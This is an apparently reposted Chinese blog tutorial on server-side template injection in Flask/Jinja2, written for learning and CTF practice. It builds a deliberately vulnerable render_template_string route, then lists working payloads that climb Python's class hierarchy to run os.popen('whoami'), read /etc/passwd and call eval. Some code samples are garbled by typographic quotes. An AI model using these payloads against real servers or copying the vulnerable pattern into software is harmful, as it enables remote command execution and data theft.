Python Flask应用之SSTI初探

Falsk是什么?

Flask是一个轻量级的可定制框架,使用Python语言编写,较其他同类型框架更为灵活、轻便、安全且容易上手。它可以很好地结合MVC模式进行开发,开发人员分工合作,小型团队在短时间内就可以完成功能丰富的中小型网站或Web服务的实现。
Flask最重要的特点。Flask的两个主要核心应用是Werkzeug和模板引擎Jinja。

Flask的安装

我用的是windows系统,在装有python的系统上,直接打开cmd窗口,我们输入一下命令:

pip install Flask

窗口上显示成功就代表安装成功了。下面我们就去写一个app.py吧

Flask应用

想要了解它的SSTI必须要了解它的一些知识,知己知彼方能百战百胜,对吧。这是一个最简单的一个flask应用:

#app.py
from flask import Flask		#导入Flask类
app = Flask(__name__)		#初始化一个app实例
@app.route(/)		#注册路由
def hello_world():		#定义view函数
	return “Hello Flask!”	#返回值
If __name__ == “__main__”:	#启动Flask应用
	app.run(debug=True)	#开启debug模式

这里第一句是注释,然后导入Flask类,用Flask(name)去初始化一个app实例。@app.route("/")注册路由,紧接着下面就是该路由的视图函数,返回值,就是页面渲染的东西,if name == “main”:就是一个入口,启动Flask应用,然后app.run(debug=true),运行该app并设置debug=ture;
Python Flask应用之SSTI初探_第1张图片
默认会开启一个本地的5000端口,来启动这个应用,我们可以访问这个网址,然后我们就可以看到所渲染的页面
Python Flask应用之SSTI初探_第2张图片
这样,我们的一个app.py就写好了。return返回的就是我们的数据。于是我们进一步测试

from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
	html = "hello %s " % 'world'
	return html
if __name__=="__main__":
	app.run(debug=True)

页面上就可以渲染,hello world这个字符串。我们想一下如果world是一个可变的参数,会发生什么呢?

from flask import Flask,request
app = Flask(__name__)
@app.route("/")
def index():
    name = request.args.get("name")
    html = "Hello %s" %(name)
    return html
if __name__ == "__main__":
    app.run(debug=True)

这里我们需要处理请求的机制(request),用于接受用户请求。直接导入即可。
Python Flask应用之SSTI初探_第3张图片我们尝试就行xss弹窗测试,发现居然存在。然后我们的测试在这告一段落。后续再说这个

Flask基础知识

Flask的目录结构

		venv		------>里面装有一个python的虚拟环境。
		static		------>js目录、css目录、img目录等等,这些文件夹下可以有文档。我画不出来那个架构图。球球放过我
		templates	------>index.html、login.html、resigster.html等等
		app.py

下面就附一张图吧。最基础的目录
Python Flask应用之SSTI初探_第4张图片好了,为什么要说这个呢?原因是我想说两个函数,跟我们的SSTI模板有关系。
render_template(“templates文件夹下模板的名字”[,想要传递的参数等],[…])
render_template_string(需要被渲染的东西)
这两个函数在使用之前,我们需要从Flask种导入,同request

#我们在之前的代码注册如下路由及视图函数
@app.route("/login")
def login():
    return render_template("login.html")
#login.html内容,我只写了中的内容
<h1>hello 欢迎来到login页面</h1>

然后我们访问如下路由,http://127.0.0.1/login则显示如下页面,说明我们的render_template_string()函数成功渲染
Python Flask应用之SSTI初探_第5张图片下面,我们再来看看render_template_string()函数

#我们将上面的函数改为如下
@app.route("/login")
def login():
    name = request.args.get("name","guest")
    html = '''
        

hello %s

'''
%name return render_template_string(html)

访问此页面,发现html字符串也被渲染,然后我们给name传入一个参数,junlebao,页面如下
Python Flask应用之SSTI初探_第6张图片然后这两个函数说完,我们再说一下,Flask的语法
Flask使用jinja2作为渲染模板。语法如下:

{
     %...%}			#用于语句if else语句 for ...endfor语句等
{
     {
     ...}}			#用于表达式,对其进行解析,并打印到模板输出。{
     {
     {
     {config}}}}--->则只解析一层
{
     {
     #...#}}		#用于注释,中间的就是注释语句

这个了解完之后,再了解下python中的一些魔术方法:

__class__		#返回该对象所属的类
__base__		#字符串形式返回该对象的基类
__mro__			#返回解析方法调用的顺序,按照子类到父父类的顺序返回所有类,元组的形式
__subclasses__	#获取类的所有子类
__init__		#基本上所有的类都包含init方法,常用于当作跳板来调用globals
__globals__		#以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用

知道了这些,我们再看看,render_template_string()函数的变量可控,我们又了解到{ {}}内的东西会被解析,于是我们尝试去传入参数,?name={ {4*5}},如果能够被解析,那是不是就可以得到20呢?不出意外我们得到了20
Python Flask应用之SSTI初探_第7张图片于是我们这次,Flask的配置信息,配置信息在config变量中,于是我们尝试传入?name={ {config}},得到配置信息
Python Flask应用之SSTI初探_第8张图片

逃逸Flask沙盒机制

我们会发现,如果存在SSTI注入,该有多可怕,配置信息被看的一览无遗。下面,我们继续尝试另外的一种Flask的沙盒绕过我们继续构造payload:

# {
     {''.__class__}}
return:	hello <class 'str'>
#{
     {''.__class__.__base__}}
return:	hello <class 'object'>
#{
     {''.__class__.__mro__}}
return:	hello (<class 'str'>, <class 'object'>)	
#{
     {''.__class__.__mro__[1].__subclasses__()}}
return: hello [<class 'type'>, ...... <class 'unicodedata.UCD'>]#很多子类,这里不贴出来了,一个开始一个结尾
#至于为什么我们要列出来所有的子类呢?是为了找到能够执行系统命令的函数例如:eval()、system()、popen()等函数这些函数呢,在os模块当中。于是我们就可以去寻找带有os模块的类。
eval()能够将括号里面的内容当代码去执行
system()调用一个shell窗口去执行命令
popen()打开或者读取一个文件
#例如:在windows下使用python调用系统命令,首先需要导入os模块
import os
os.system("whoami")					#返回当前用户
os.popen("type flag.txt").read()	#只读方式打开flag.txt文件
os.eval
# eval是python的内置函数,可直接使用
eval("[].__class__")				#返回

知道了这些,我们就可以进行下一步了,这里面的子类很多,我们该如何去寻找带有os模块的类或者模块呢?

lists = "你查询出来的数组,将它构造成一个数组字符串"
search = "os"				#模块中带有的关键词
count = 0					#索引,即下标
for i in lists:
    if search in i:
        print(count,i)
    count += 1
#打印结果如下:
138  <class 'os._wrap_close'>
139  <class 'os._AddedDllDirectory'>
213  <class 'tempfile._TemporaryFileCloser'>
401  <class 'werkzeug.wsgi.ClosingIterator'>

于是我们就利用138这个模块,构造如下payload:

# {
     {''.__class__.__mro__[1].__subclasses__()[138].__init__.__globals__["popen"]("type flag").read()}}
# 这个其实可以执行很多命令的,比如whoami,dir等
# 我只是查看了一个文件的内容,结合一下ctf中,我们如何去拿到该目录下的一些flag文件等

这样我们就逃逸了Flask的沙盒机制了。当然我们也可以利用它,反向shell,拿到shell窗口进行一些操作等。

可利用模块

下面,我列举出可以利用的一些模块,这是我总结出来的一些,大家可以拿来用。

#python3
**os._wrap_close类中的popen**
payload:{
     {
     "".__class__.__base__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
**__import__中的os**
payload:{
     {
     "".__class__.__base__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}


#python2
**file类,直接用.read()或readlines()读取数据**
payload:{
     {
     ().__class__.__base__[0].__subclasses__()[40]('/etc/passwd').read()}}
**warnings类中的linecache**
payload:{
     {
     [].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}}
注意:python2中使用,否则会报错

#python2&python3共有
#__builtins__是一个包含了大量内置函数的一个模块,可以在python中使用dir(__builtins__)来查看调用的方法。这里面有我们想要的执行命令的函数
**__builtins__内置函数**
payload1:{
     {
     ().__class__.__base__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}}
payload2:{
     {
     ().__class__.__base__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
等等
**warnings.catch_warnings类**
payload:{
     {
     ''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}}

注意 :上面的payload中的基类,和index的下标,根据自己查出来的位置为准,这仅是参考样例。

结尾

好了,暂时就总结到这里,下面我将结合一些ctf的题型,来对其进行绕过讲解等。文章就写到这里了。学习起来时间过的是真的快。我们下回见。

你可能感兴趣的:(python,web)